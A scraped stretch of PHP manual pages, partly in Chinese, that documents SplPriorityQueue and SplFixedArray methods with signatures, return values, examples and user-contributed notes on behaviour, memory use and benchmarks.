Array ( [data] => C [priority] => 1 )


Compare priorities in order to place elements correctly in the heap while sifting up

  • ? SplPriorityQueue
  • SplPriorityQueue::count ?
  • PHP Manual
  • SplPriorityQueue
  • Compare priorities in order to place elements correctly in the heap while sifting up

SplPriorityQueue::compare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::compare — Compare priorities in order to place elements correctly in the heap while sifting up

说明

public SplPriorityQueue::compare(mixed $priority1, mixed $priority2): int

Compare priority1 with priority2.

参数

priority1

The priority of the first node being compared.

priority2

The priority of the second node being compared.

返回值

Result of the comparison, positive integer if priority1 is greater than priority2, 0 if they are equal, negative integer otherwise.

Note:

Multiple elements with the same priority will get dequeued in no particular order.

User Contributed Notes

Anonymous 07-Sep-2023 11:47
To create a min-heap priority queue, and have extract() give you the lowest priority:

class MinPriorityQueue extends SplPriorityQueue {
    public function compare($priority1, $priority2) {
        if ($priority1 === $priority2) return 0;
        return $priority1 > $priority2 ? 1 : -1;
    }
}
Anonymous 10-Oct-2009 04:51
At this time, the documentation sais "Note: Multiple elements with the same priority will get dequeued in no particular order."

If you need elements of equal priority to maintain insertion order, you can use something like:

<?php

class StablePriorityQueue extends SplPriorityQueue {
    protected $serial = PHP_INT_MAX;
    public function insert($value, $priority) {
        parent::insert($value, array($priority, $this->serial--));
    }
}

?>


Counts the number of elements in the queue

  • ? SplPriorityQueue::compare
  • SplPriorityQueue::current ?
  • PHP Manual
  • SplPriorityQueue
  • Counts the number of elements in the queue

SplPriorityQueue::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::count — Counts the number of elements in the queue

说明

public SplPriorityQueue::count(): int

参数

此函数没有参数。

返回值

Returns the number of elements in the queue.

User Contributed Notes

xedin dot unknown at gmail dot com 22-Aug-2018 02:08
After iteration, the queue will be empty. Therefore, `count()` will return 0. You can circumvent this by iterating over a clone, instead of the actual queue.

https://stackoverflow.com/questions/27464012/splpriorityqueuenext-is-removing-the-item


Return current node pointed by the iterator

  • ? SplPriorityQueue::count
  • SplPriorityQueue::extract ?
  • PHP Manual
  • SplPriorityQueue
  • Return current node pointed by the iterator

SplPriorityQueue::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::current — Return current node pointed by the iterator

说明

public SplPriorityQueue::current(): mixed

Get the current datastructure node.

参数

此函数没有参数。

返回值

The value or priority (or both) of the current node, depending on the extract flag.

User Contributed Notes

There are no user contributed notes for this page.


Extracts a node from top of the heap and sift up

  • ? SplPriorityQueue::current
  • SplPriorityQueue::getExtractFlags ?
  • PHP Manual
  • SplPriorityQueue
  • Extracts a node from top of the heap and sift up

SplPriorityQueue::extract

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::extract — Extracts a node from top of the heap and sift up

说明

public SplPriorityQueue::extract(): mixed

参数

此函数没有参数。

返回值

The value or priority (or both) of the extracted node, depending on the extract flag.

User Contributed Notes

There are no user contributed notes for this page.


Get the flags of extraction

  • ? SplPriorityQueue::extract
  • SplPriorityQueue::insert ?
  • PHP Manual
  • SplPriorityQueue
  • Get the flags of extraction

SplPriorityQueue::getExtractFlags

(PHP 7, PHP 8)

SplPriorityQueue::getExtractFlags — Get the flags of extraction

说明

public SplPriorityQueue::getExtractFlags(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns the flags of extraction.

User Contributed Notes

There are no user contributed notes for this page.


Inserts an element in the queue by sifting it up

  • ? SplPriorityQueue::getExtractFlags
  • SplPriorityQueue::isCorrupted ?
  • PHP Manual
  • SplPriorityQueue
  • Inserts an element in the queue by sifting it up

SplPriorityQueue::insert

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::insert — Inserts an element in the queue by sifting it up

说明

public SplPriorityQueue::insert(mixed $value, mixed $priority): true

Insert value with the priority priority in the queue.

参数

value

The value to insert.

priority

The associated priority.

返回值

总是返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Tells if the priority queue is in a corrupted state

  • ? SplPriorityQueue::insert
  • SplPriorityQueue::isEmpty ?
  • PHP Manual
  • SplPriorityQueue
  • Tells if the priority queue is in a corrupted state

SplPriorityQueue::isCorrupted

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::isCorrupted — Tells if the priority queue is in a corrupted state

说明

public SplPriorityQueue::isCorrupted(): bool

参数

此函数没有参数。

返回值

Returns true if the priority queue is corrupted, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the queue is empty

  • ? SplPriorityQueue::isCorrupted
  • SplPriorityQueue::key ?
  • PHP Manual
  • SplPriorityQueue
  • Checks whether the queue is empty

SplPriorityQueue::isEmpty

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::isEmpty — Checks whether the queue is empty

说明

public SplPriorityQueue::isEmpty(): bool

参数

此函数没有参数。

返回值

Returns whether the queue is empty.

User Contributed Notes

There are no user contributed notes for this page.


Return current node index

  • ? SplPriorityQueue::isEmpty
  • SplPriorityQueue::next ?
  • PHP Manual
  • SplPriorityQueue
  • Return current node index

SplPriorityQueue::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::key — Return current node index

说明

public SplPriorityQueue::key(): int

This function returns the current node index

参数

此函数没有参数。

返回值

The current node index.

User Contributed Notes

There are no user contributed notes for this page.


Move to the next node

  • ? SplPriorityQueue::key
  • SplPriorityQueue::recoverFromCorruption ?
  • PHP Manual
  • SplPriorityQueue
  • Move to the next node

SplPriorityQueue::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::next — Move to the next node

说明

public SplPriorityQueue::next(): void

Extracts the top node from the queue.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

ivail89 at mail dot ru 22-Jan-2021 04:20
Method 'next' deletes node from top. See example:
 <?php
$queue = new SplPriorityQueue();

$queue->insert('Q', 5);
$queue->insert('W', 1);
$queue->insert('E', 4);
$queue->insert('R', 2);
$queue->insert('Y', 3);

$queue->next();
$queue->next();
$queue->next();

print_r($queue);
?>

Will be output:

SplPriorityQueue Object
(
    [flags:SplPriorityQueue:private] => 1
    [isCorrupted:SplPriorityQueue:private] =>
    [heap:SplPriorityQueue:private] => Array
        (
            [0] => Array
                (
                    [data] => R
                    [priority] => 2
                )

            [1] => Array
                (
                    [data] => W
                    [priority] => 1
                )

        )

)


Recover from the corrupted state and allow further actions on the queue

  • ? SplPriorityQueue::next
  • SplPriorityQueue::rewind ?
  • PHP Manual
  • SplPriorityQueue
  • Recover from the corrupted state and allow further actions on the queue

SplPriorityQueue::recoverFromCorruption

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::recoverFromCorruption — Recover from the corrupted state and allow further actions on the queue

说明

public SplPriorityQueue::recoverFromCorruption(): bool

参数

此函数没有参数。

返回值

Always returns true.

User Contributed Notes

There are no user contributed notes for this page.


Rewind iterator back to the start (no-op)

  • ? SplPriorityQueue::recoverFromCorruption
  • SplPriorityQueue::setExtractFlags ?
  • PHP Manual
  • SplPriorityQueue
  • Rewind iterator back to the start (no-op)

SplPriorityQueue::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::rewind — Rewind iterator back to the start (no-op)

说明

public SplPriorityQueue::rewind(): void

This rewinds the iterator to the beginning. This is a no-op for heaps as the iterator is virtual and in fact never moves from the top of the heap.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Sets the mode of extraction

  • ? SplPriorityQueue::rewind
  • SplPriorityQueue::top ?
  • PHP Manual
  • SplPriorityQueue
  • Sets the mode of extraction

SplPriorityQueue::setExtractFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::setExtractFlags — Sets the mode of extraction

说明

public SplPriorityQueue::setExtractFlags(int $flags): int

参数

flags

Defines what is extracted by SplPriorityQueue::current(),
SplPriorityQueue::top() and
SplPriorityQueue::extract().

  • SplPriorityQueue::EXTR_DATA (0x00000001): Extract the data
  • SplPriorityQueue::EXTR_PRIORITY (0x00000002): Extract the priority
  • SplPriorityQueue::EXTR_BOTH (0x00000003): Extract an array containing both

The default mode is SplPriorityQueue::EXTR_DATA.

返回值

Returns the flags of extraction.

User Contributed Notes

There are no user contributed notes for this page.


Peeks at the node from the top of the queue

  • ? SplPriorityQueue::setExtractFlags
  • SplPriorityQueue::valid ?
  • PHP Manual
  • SplPriorityQueue
  • Peeks at the node from the top of the queue

SplPriorityQueue::top

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::top — Peeks at the node from the top of the queue

说明

public SplPriorityQueue::top(): mixed

参数

此函数没有参数。

返回值

The value or priority (or both) of the top node, depending on the extract flag.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the queue contains more nodes

  • ? SplPriorityQueue::top
  • SplFixedArray ?
  • PHP Manual
  • SplPriorityQueue
  • Check whether the queue contains more nodes

SplPriorityQueue::valid

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::valid — Check whether the queue contains more nodes

说明

public SplPriorityQueue::valid(): bool

Checks if the queue contains any more nodes.

参数

此函数没有参数。

返回值

Returns true if the queue contains any more nodes, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


The SplFixedArray class

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

The SplFixedArray class provides the main functionalities of array. The main difference between a SplFixedArray and a normal PHP array is that the SplFixedArray must be resized manually and allows only integers within the range as indexes. The advantage is that it uses less memory than a standard array.

类摘要

class SplFixedArray implements IteratorAggregate, ArrayAccess, Countable, JsonSerializable {
/* 方法 */
public __construct(int $size = 0)
public count(): int
public current(): mixed
public static fromArray(array $array, bool $preserveKeys = true): SplFixedArray
public getIterator(): Iterator
public getSize(): int
public jsonSerialize(): mixed
public key(): int
public next(): void
public offsetExists(int $index): bool
public offsetGet(int $index): mixed
public offsetSet(int $index, mixed $value): void
public offsetUnset(int $index): void
public rewind(): void
public __serialize(): array
public setSize(int $size): bool
public toArray(): array
public __unserialize(array $data): void
public valid(): bool
public __wakeup(): void
}

更新日志

版本 | 说明
8.2.0 | The SplFixedArray::__serialize() and SplFixedArray::__unserialize() magic methods have been added to SplFixedArray.
8.1.0 | SplFixedArray implements JsonSerializable now.
8.0.0 | SplFixedArray implements IteratorAggregate now. Previously, Iterator was implemented instead.

示例

Example #1 SplFixedArray usage example

<?php
// Initialize the array with a fixed length
$array = new SplFixedArray(5);

$array[1] = 2;
$array[4] = "foo";

var_dump($array[0]); // NULL
var_dump($array[1]); // int(2)

var_dump($array["4"]); // string(3) "foo"

// Increase the size of the array to 10
$array->setSize(10);

$array[9] = "asdf";

// Shrink the array to a size of 2
$array->setSize(2);

// The following lines throw a RuntimeException: Index invalid or out of range
try {
var_dump($array["non-numeric"]);
} catch(RuntimeException $re) {
echo "RuntimeException: ".$re->getMessage()."\n";
}

try {
var_dump($array[-1]);
} catch(RuntimeException $re) {
echo "RuntimeException: ".$re->getMessage()."\n";
}

try {
var_dump($array[5]);
} catch(RuntimeException $re) {
echo "RuntimeException: ".$re->getMessage()."\n";
}
?>

以上示例会输出：

NULL
int(2)
string(3) "foo"
RuntimeException: Index invalid or out of range
RuntimeException: Index invalid or out of range
RuntimeException: Index invalid or out of range

Table of Contents

  • SplFixedArray::__construct — Constructs a new fixed array
  • SplFixedArray::count — Returns the size of the array
  • SplFixedArray::current — Return current array entry
  • SplFixedArray::fromArray — Import a PHP array in a SplFixedArray instance
  • SplFixedArray::getIterator — Retrieve the iterator to go through the array
  • SplFixedArray::getSize — Gets the size of the array
  • SplFixedArray::jsonSerialize — Returns a representation that can be converted to JSON
  • SplFixedArray::key — Return current array index
  • SplFixedArray::next — Move to next entry
  • SplFixedArray::offsetExists — Returns whether the requested index exists
  • SplFixedArray::offsetGet — Returns the value at the specified index
  • SplFixedArray::offsetSet — Sets a new value at a specified index
  • SplFixedArray::offsetUnset — Unsets the value at the specified $index
  • SplFixedArray::rewind — Rewind iterator back to the start
  • SplFixedArray::__serialize — Serializes the SplFixedArray object
  • SplFixedArray::setSize — Change the size of an array
  • SplFixedArray::toArray — Returns a PHP array from the fixed array
  • SplFixedArray::__unserialize — Deserializes the data parameter into an SplFixedArray object
  • SplFixedArray::valid — Check whether the array contains more elements
  • SplFixedArray::__wakeup — Reinitialises the array after being unserialised

User Contributed Notes

CK 12-Feb-2023 01:51
Be warned that SplFixedArray does not provide all of the main functionalities of array. For example, it does not support array_slice. SplFixedArray should be far more efficient at supporting such array operations than normal arrays (since it should be simply a contiguous slice). Check that all your main array functions are really supported before trying to use SplFixedArray instead of array. With JIT in PHP8, some loops to polyfill these are perhaps now realistic, but still not as fast as native functions.
herhor67 at interia dot pl 31-Dec-2019 06:23
Memory usage for arrays of 1132766 ints (data derived from some 1kx1k img):
Regular:  76453160B (67.5B/int)
SplFixed: 18898744B (16.7B/int)

In my application, SFA uses 75% less RAM, which is a life-saver.

Speed comparison:
Regular: 449ms
SplFixed (resized before every element): 791ms
SplFixed (fully preallocated): 392ms
SplFixed (preall-d to 1M and then resized): 547ms

Pros and cons:
+ much more efficient RAM-wise
+ a bit faster if max size is known
~ a bit slower if max size is only approximated
- much slower if max size is not known
- cannot be used with most array functions

To sum up:
SplFixedArray is a very good choice for storing giant amount of data, though only as long as you at least roughly know the size and can work without array functions.
Anonymous 08-Jan-2018 01:04
getSize() and count() return the same value
php at stij dot nospam dot npeete dot nospam dot rs dot nl 28-Dec-2017 06:55
Note that (as of PHP 7.1) SplFixedArray uses 16 bytes (!) per array item. This can be checked easily via:

<?php
ini_set('memory_limit', '4M');
$array = new SplFixedArray(1000000);
//PHP Fatal error:  Allowed memory size of 4194304 bytes exhausted (tried to allocate 16000000 bytes)
?>

So if you're considering SplFixedArray because you need to use large arrays with very large numbers of items, make sure you have enough memory to support them.
Anonymous 03-Nov-2017 12:04
PHP Arrays are very fast, and faster overall, especially in PHP7. You almost never need this. There are some cases where using this is better than using arrays but beware that they aren't that obvious.
artaxerxes 13-Nov-2012 04:41
As the documentation says, SplFixedArray is meant to be *faster* than array. Do not blindly believe other people's benchmarks, and beextra careful with the user comments on php.net. For instance, nairbv's benchmark code is completely wrong. Among other errors, it intends to increase the size of the arrays, but always initialize a 20 elements SplFixedArray.

On a PHP 5.4 64 bits linux server, I found SplFixedArray to be always faster than array().
* small data (1,000):
    * write: SplFixedArray is 15 % faster
    * read:  SplFixedArray is  5 % faster
* larger data (512,000):
    * write: SplFixedArray is 33 % faster
    * read:  SplFixedArray is 10 % faster
alex dot andrienko at gmail dot com 15-Nov-2010 02:13
Memory footprint of splFixedArray is about 37% of a regular "array" of the same size.
I was hoping for more, but that's also significant, and that's where you should expect to see difference, not in "performance".
chrisstocktonaz at gmail dot com 14-Jul-2009 11:07
Note, that this is considerably faster and should be used when the size of the array is known. Here are some very basic bench marks:

<?php
for($size = 1000; $size < 50000000; $size *= 2) {
    echo PHP_EOL . "Testing size: $size" . PHP_EOL;
    for($s = microtime(true), $container = Array(), $i = 0; $i < $size; $i++) $container[$i] = NULL;
    echo "Array(): " . (microtime(true) - $s) . PHP_EOL;

    for($s = microtime(true), $container = new SplFixedArray($size), $i = 0; $i < $size; $i++) $container[$i] = NULL;
    echo "SplArray(): " . (microtime(true) - $s) . PHP_EOL;
}
?>

OUTPUT
Testing size: 1000
Array(): 0.00046396255493164
SplArray(): 0.00023293495178223

Testing size: 2000
Array(): 0.00057101249694824
SplArray(): 0.0003058910369873

Testing size: 4000
Array(): 0.0015869140625
SplArray(): 0.00086307525634766

Testing size: 8000
Array(): 0.0024251937866211
SplArray(): 0.00211501121521

Testing size: 16000
Array(): 0.0057680606842041
SplArray(): 0.0041120052337646

Testing size: 32000
Array(): 0.011334896087646
SplArray(): 0.007631778717041

Testing size: 64000
Array(): 0.021990060806274
SplArray(): 0.013560056686401

Testing size: 128000
Array(): 0.053267002105713
SplArray(): 0.030976057052612

Testing size: 256000
Array(): 0.10280108451843
SplArray(): 0.056283950805664

Testing size: 512000
Array(): 0.20657992362976
SplArray(): 0.11510300636292

Testing size: 1024000
Array(): 0.4138810634613
SplArray(): 0.21826505661011

Testing size: 2048000
Array(): 0.85640096664429
SplArray(): 0.46247816085815

Testing size: 4096000
Array(): 1.7242450714111
SplArray(): 0.95304894447327

Testing size: 8192000
Array(): 3.448086977005
SplArray(): 1.96746301651


Constructs a new fixed array

  • ? SplFixedArray
  • SplFixedArray::count ?
  • PHP Manual
  • SplFixedArray
  • Constructs a new fixed array

SplFixedArray::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::__construct — Constructs a new fixed array

说明

public SplFixedArray::__construct(int $size = 0)

Initializes a fixed array with a number of null values equal to size.

参数

size

The size of the fixed array. This expects a number between 0 and PHP_INT_MAX.

错误／异常

Throws a ValueError when size is a negative integer.

更新日志

版本 | 说明
8.0.0 | Now throws a ValueError if size is a negative; previously it threw a InvalidArgumentException.

示例

Example #1 SplFixedArray::__construct() example

<?php
$array = new SplFixedArray(5);

$array[1] = 2;
$array[4] = "foo";

foreach($array as $v) {
var_dump($v);
}
?>

以上示例会输出：

NULL
int(2)
NULL
NULL
string(3) "foo"

User Contributed Notes

There are no user contributed notes for this page.


Returns the size of the array

  • ? SplFixedArray::__construct
  • SplFixedArray::current ?
  • PHP Manual
  • SplFixedArray
  • Returns the size of the array

SplFixedArray::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::count — Returns the size of the array

说明

public SplFixedArray::count(): int

Returns the size of the array.

参数

此函数没有参数。

返回值

Returns the size of the array.

示例

Example #1 SplFixedArray::count() example

<?php
$array = new SplFixedArray(5);
echo $array->count() . "\n";
echo count($array) . "\n";
?>

以上示例会输出：

5
5

注释

Note:

This method is functionally equivalent to SplFixedArray::getSize().

Note:

The count of elements is always equal to the set size because all values are initially initialized with null.

参见

  • SplFixedArray::getSize() - Gets the size of the array

User Contributed Notes

There are no user contributed notes for this page.


Return current array entry

  • ? SplFixedArray::count
  • SplFixedArray::fromArray ?
  • PHP Manual
  • SplFixedArray
  • Return current array entry

SplFixedArray::current

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::current — Return current array entry

说明

public SplFixedArray::current(): mixed

Get the current array element.

参数

此函数没有参数。

返回值

The current element value.

错误／异常

Throws RuntimeException when the internal array pointer points to an invalid index or is out of bounds.

User Contributed Notes

kishor10d at gmail dot com 12-Jun-2019 08:49
<?php

/**
 * current() : It returns current element in the SplFixedArray.
 */

$arr = new SplFixedArray(5);

$arr[1] = 2;
$arr[2] = "foo";

var_dump($arr->current());
echo "<br>";

$arr->next();
var_dump($arr->current());
echo "<br>";

$arr->next();
var_dump($arr->current());
echo "<br>";

?>

The output of this will be:

NULL
int(2)
string(3) "foo"


Import a PHP array in a SplFixedArray instance

  • ? SplFixedArray::current
  • SplFixedArray::getIterator ?
  • PHP Manual
  • SplFixedArray
  • Import a PHP array in a SplFixedArray instance

SplFixedArray::fromArray

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::fromArray — Import a PHP array in a SplFixedArray instance

说明

public static SplFixedArray::fromArray(array $array, bool $preserveKeys = true): SplFixedArray

Import the PHP array array in a new SplFixedArray instance

参数

array

The array to import.

preserveKeys

Try to save the numeric indexes used in the original array.

返回值

Returns an instance of SplFixedArray containing the array content.

示例

Example #1 SplFixedArray::fromArray() example

<?php
$fa = SplFixedArray::fromArray(array(1 => 1, 0 => 2, 3 => 3));

var_dump($fa);

$fa = SplFixedArray::fromArray(array(1 => 1, 0 => 2, 3 => 3), false);

var_dump($fa);
?>

以上示例会输出：

object(SplFixedArray)#1 (4) {
  [0]=>
  int(2)
  [1]=>
  int(1)
  [2]=>
  NULL
  [3]=>
  int(3)
}
object(SplFixedArray)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

MuLoT 10-Dec-2010 09:15
Memory footprint tests :

<?php
echo memory_get_usage()."\n"; // display 627760
$array = array_fill( 0, 2048, 'a' );
echo memory_get_usage()."\n"; // 824744, so 196984 for $array

unset( $array );

echo memory_get_usage()."\n"; // 627792
$spl=SplFixedArray::fromArray( array_fill( 0, 2048, 'a' ) );
echo memory_get_usage()."\n"; //644944, so just 17151 for $spl !!!
?>


Retrieve the iterator to go through the array

  • ? SplFixedArray::fromArray
  • SplFixedArray::getSize ?
  • PHP Manual
  • SplFixedArray
  • Retrieve the iterator to go through the array

SplFixedArray::getIterator

(PHP 8)

SplFixedArray::getIterator — Retrieve the iterator to go through the array

说明

public SplFixedArray::getIterator(): Iterator

Returns the iterator to go through the array.

参数

此函数没有参数。

返回值

An instance of an object implementing Iterator to go through the array.

User Contributed Notes

There are no user contributed notes for this page.


Gets the size of the array

  • ? SplFixedArray::getIterator
  • SplFixedArray::jsonSerialize ?
  • PHP Manual
  • SplFixedArray
  • Gets the size of the array

SplFixedArray::getSize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::getSize — Gets the size of the array

说明

public SplFixedArray::getSize(): int

Gets the size of the array.

参数

此函数没有参数。

返回值

Returns the size of the array, as an int.

示例

Example #1 SplFixedArray::getSize() example

<?php
$array = new SplFixedArray(5);
echo $array->getSize()."\n";
$array->setSize(10);
echo $array->getSize()."\n";
?>

以上示例会输出：

5
10

注释

Note:

This method is functionally equivalent to SplFixedArray::count()

参见

  • SplFixedArray::count() - Returns the size of the array

User Contributed Notes

c dot 1 at smithies dot org 21-Nov-2010 05:38
This function is currently a synonym for count().


Returns a representation that can be converted to JSON

  • ? SplFixedArray::getSize
  • SplFixedArray::key ?
  • PHP Manual
  • SplFixedArray
  • Returns a representation that can be converted to JSON

SplFixedArray::jsonSerialize

(PHP 8 >= 8.1.0)

SplFixedArray::jsonSerialize — Returns a representation that can be converted to JSON

说明

public SplFixedArray::jsonSerialize(): mixed

Serializes the array to a value that can be serialized natively by json_encode().

参数

此函数没有参数。

返回值

Returns array data which can be serialized by json_encode(), which is a value of any type other than a resource.

User Contributed Notes

There are no user contributed notes for this page.


Return current array index

  • ? SplFixedArray::jsonSerialize
  • SplFixedArray::next ?
  • PHP Manual
  • SplFixedArray
  • Return current array index

SplFixedArray::key

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::key — Return current array index

说明

public SplFixedArray::key(): int

Returns the current array index.

参数

此函数没有参数。

返回值

The current array index.

User Contributed Notes

There are no user contributed notes for this page.


Move to next entry

  • ? SplFixedArray::key
  • SplFixedArray::offsetExists ?
  • PHP Manual
  • SplFixedArray
  • Move to next entry

SplFixedArray::next

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::next — Move to next entry

说明

public SplFixedArray::next(): void

Move the iterator to the next array entry.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

kishor10d at gmail dot com 27-Jun-2019 12:27
<?php

/**
* Example : rewind();
*/

$arr = new SplFixedArray(5);

$a = $arr->key(); //Zero'th index
var_dump($a);
echo "<br>";

$arr->next(); // Shift to first index
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next(); // Shift to second index
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next();  // Shift to third index
$a = $arr->key();
var_dump($a);
echo "<br>";
?>

The above example will output:

int(0)
int(1)
int(2)
int(3)


Returns whether the requested index exists

  • ? SplFixedArray::next
  • SplFixedArray::offsetGet ?
  • PHP Manual
  • SplFixedArray
  • Returns whether the requested index exists

SplFixedArray::offsetExists

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::offsetExists — Returns whether the requested index exists

说明

public SplFixedArray::offsetExists(int $index): bool

Checks whether the requested index index exists.

参数

index

The index being checked.

返回值

true if the requested index exists, otherwise false

User Contributed Notes

depoemarc at swap dot fn dot ln dot googlemail dot com 25-Jun-2015 02:47
It should be noted that offsetExists behaves like "offsetIsSet" rather than "offsetIsValid":

<?php
$arr = new SplFixedArray(3);
var_dump($arr->offsetExists(1)); // false

$arr[1] = 42; // $arr->offsetSet(1, 42);
var_dump($arr->offsetExists(1)); // true

$arr[1] = null; // $arr->offsetSet(1, null);
var_dump($arr->offsetExists(1)); // true

unset($arr[1]); // $arr->offsetUnset(1);
var_dump($arr->offsetExists(1)); // false

var_dump($arr);
/*
object(SplFixedArray)[1]
  null
  null
  null
*/
?>


Returns the value at the specified index

  • ? SplFixedArray::offsetExists
  • SplFixedArray::offsetSet ?
  • PHP Manual
  • SplFixedArray
  • Returns the value at the specified index

SplFixedArray::offsetGet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::offsetGet — Returns the value at the specified index

说明

public SplFixedArray::offsetGet(int $index): mixed

Returns the value at the index index.

参数

index

The index with the value.

返回值

The value at the specified index.

错误／异常

Throws RuntimeException when index is outside the defined size of the array or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Sets a new value at a specified index

  • ? SplFixedArray::offsetGet
  • SplFixedArray::offsetUnset ?
  • PHP Manual
  • SplFixedArray
  • Sets a new value at a specified index

SplFixedArray::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::offsetSet — Sets a new value at a specified index

说明

public SplFixedArray::offsetSet(int $index, mixed $value): void

Sets the value at the specified index to value.

参数

index

The index being set.

value

The new value for the index.

返回值

没有返回值。

错误／异常

Throws RuntimeException when index is outside the defined size of the array or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Unsets the value at the specified $index

  • ? SplFixedArray::offsetSet
  • SplFixedArray::rewind ?
  • PHP Manual
  • SplFixedArray
  • Unsets the value at the specified $index

SplFixedArray::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::offsetUnset — Unsets the value at the specified $index

说明

public SplFixedArray::offsetUnset(int $index): void

Unsets the value at the specified index.

参数

index

The index being unset.

返回值

没有返回值。

错误／异常

Throws RuntimeException when index is outside the defined size of the array or when index cannot be parsed as an integer.

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 08:07
This function assigns NULL to the array element. Its use has no effect on count(). Whereas assigning NULL to an element will have no effect on isset(), offsetUnset() and unset() do. Whereas unsetting an element affects the behaviour of foreach() as applied to an array or an ArrayObject, it has no such effect on SplFixedArray, as demonstrated by the code below.

<?php

class atest extends SplFixedArray {
  public function fill() {
    for ($i = $this->count(); --$i >= 0; ) $this[$i] = $i;
  }
  public function dump() {
    $sep = ' ';
    foreach ($this as $k => $v) {
      echo $sep, "$k: ", (is_null($v) ? 'NULL' : $v);
      if (!isset($this[$k])) echo ' and unset';
      $sep = ', ';
    }
    echo PHP_EOL;
  }
}

$a = new atest(3);
$a->dump(); //  0: NULL and unset, 1: NULL and unset, 2: NULL and unset
$a->fill();
$a->dump(); //  0: 0, 1: 1, 2: 2
$a[1] = NULL;
unset($a[2]);
$a->dump(); //  0: 0, 1: NULL, 2: NULL and unset
?>


Rewind iterator back to the start

  • ? SplFixedArray::offsetUnset
  • SplFixedArray::__serialize ?
  • PHP Manual
  • SplFixedArray
  • Rewind iterator back to the start

SplFixedArray::rewind

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::rewind — Rewind iterator back to the start

说明

public SplFixedArray::rewind(): void

Rewinds the iterator to the beginning.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

kishor10d at gmail dot com 12-Jun-2019 05:13
<?php

/**
 * Example : rewind();
 */

$arr = new SplFixedArray(5);

$arr[1] = 2;
$arr[4] = "foo";

$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next();
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next();
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->rewind();
$a = $arr->key();
var_dump($a);
echo "<br>";
?>

The above example will output:

int(0)
int(1)
int(2)
int(0)


Serializes the SplFixedArray object

  • ? SplFixedArray::rewind
  • SplFixedArray::setSize ?
  • PHP Manual
  • SplFixedArray
  • Serializes the SplFixedArray object

SplFixedArray::__serialize

(PHP 8 >= 8.2.0)

SplFixedArray::__serialize — Serializes the SplFixedArray object

说明

public SplFixedArray::__serialize(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Change the size of an array

  • ? SplFixedArray::__serialize
  • SplFixedArray::toArray ?
  • PHP Manual
  • SplFixedArray
  • Change the size of an array

SplFixedArray::setSize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::setSize — Change the size of an array

说明

public SplFixedArray::setSize(int $size): bool

Change the size of an array to the new size of size. If size is less than the current array size, any values after the new size will be discarded. If size is greater than the current array size, the array will be padded with null values.

参数

size

The new array size. This should be a value between 0 and PHP_INT_MAX.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

Throws InvalidArgumentException when size is less than zero.

Raises E_WARNING when size cannot be used as a number.

示例

Example #1 SplFixedArray::setSize() example

<?php
$array = new SplFixedArray(5);
echo $array->getSize()."\n";
$array->setSize(10);
echo $array->getSize()."\n";
?>

以上示例会输出：

5
10

User Contributed Notes

There are no user contributed notes for this page.


Returns a PHP array from the fixed array

  • ? SplFixedArray::setSize
  • SplFixedArray::__unserialize ?
  • PHP Manual
  • SplFixedArray
  • Returns a PHP array from the fixed array

SplFixedArray::toArray

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplFixedArray::toArray — Returns a PHP array from the fixed array

说明

public SplFixedArray::toArray(): array

Returns a PHP array from the fixed array.

参数

此函数没有参数。

返回值

Returns a PHP array, similar to the fixed array.

示例

Example #1 SplFixedArray::toArray() example

<?php
$fa = new SplFixedArray(3);
$fa[0] = 0;
$fa[2] = 2;
